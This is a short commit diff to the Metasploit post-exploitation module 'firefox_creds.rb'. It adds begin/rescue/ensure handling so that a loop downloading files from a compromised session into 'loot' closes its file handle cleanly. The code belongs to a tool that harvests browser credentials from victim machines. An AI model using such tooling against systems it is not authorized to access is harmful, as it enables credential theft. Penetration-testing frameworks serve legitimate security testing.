Add a rescue for the file download

git-svn-id: file:///home/svn/framework3/trunk@12176 4d416f70-5f16-0410-b530-b9f4589650da

modules/post/multi/gather/firefox_creds.rb

@@ -227,10 +227,14 @@ class Metasploit3 < Msf::Post
 						print_good("Downloading #{file} file from: #{path}")
 						file = path + "\\" + file
 						fd = session.fs.file.new(file)
-						until fd.eof?
+						begin
-							loot << fd.read
+							until fd.eof?
+								loot << fd.read
+							end
+						rescue EOFError
+						ensure
+							fd.close
 						end
-						fd.close
 					
 						ext = file.split('.')[2]
 						if ext == "txt"